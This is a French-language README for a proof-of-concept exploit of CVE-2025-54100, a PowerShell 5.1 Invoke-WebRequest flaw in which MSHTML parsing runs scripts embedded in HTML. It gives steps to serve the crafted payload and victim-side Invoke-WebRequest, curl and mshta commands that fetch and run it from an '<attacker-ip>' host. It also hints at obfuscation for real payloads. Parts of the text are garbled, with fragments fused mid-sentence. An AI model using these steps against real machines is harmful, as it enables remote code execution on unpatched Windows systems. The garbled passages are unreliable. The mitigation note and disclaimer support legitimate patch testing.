
CVE-2025-54100 (CVSS 7.8 High) est une vulnérabilité d'injection de commande dans l'applet de commande Invoke-WebRequest de Windows PowerShell 5.1. Elle résulte d'une neutralisation incorrecte des éléments spéciaux lors de l'analyse automatique des réponses Web.
Une preuve de concept concise montrant comment CVE-2025-54100 peut conduire à une exécution de code à distance (RCE) dans Windows PowerShell 5.1 via l'analyse malveillante de HTML.
Invoke-WebRequest lorsque -UseBasicParsing n'est pas utiliséActiveXObject) dans le contexte de l'appelant.CVE-2025-54100.py sert une charge utile HTML spécialement conçue.WScript.Shell / Shell.Application.calc.exe.python3 -m venv .venv
source .venv/bin/activate
pip3 install -r requirements.txt
Lancer le serveur HTTP du PoC :
uvicorn app:app --host 0.0.0.0 --port 8888 --reload
Exécutez ces commandes sur une machine Windows vulnérable sans -UseBasicParsing :
# Invoke-WebRequest
Invoke-WebRequest -Uri "http://<attacker-ip>:8888"
# curl alias
curl http://<attacker-ip>:8888
# mshta
mshta http://<attacker-ip>:8888
Utilisez le même port que celui configuré pour le serveur. Si vulnérable, le script embarqué s'exécute via l'analyseur MSHTML. Certains antivirus peuvent bloquer le comportement même si le problème d'analyse est présent.
Si calc.exe n'apparaît pas :
Invoke-WebRequest sans -UseBasicParsing.Cela démontre le vecteur d'exécution. Les charges utiles réelles peuvent utiliser l'obfuscation ou des contournements supplémentaires pour échapper aux restrictions par défaut.

Microsoft a corrigé le problème en décembre 2025 :
-UseBasicParsing pour éviter l'analyse MSHTML :
Invoke-WebRequest -Uri "http://<attacker-ip>:8888" -UseBasicParsing
[!WARNING] À des fins éducatives et de tests autorisés uniquement. Utilisez de manière responsable et respectez toutes les lois applicables. Les auteurs ne sont pas responsables d'une mauvaise utilisation ou de dommages.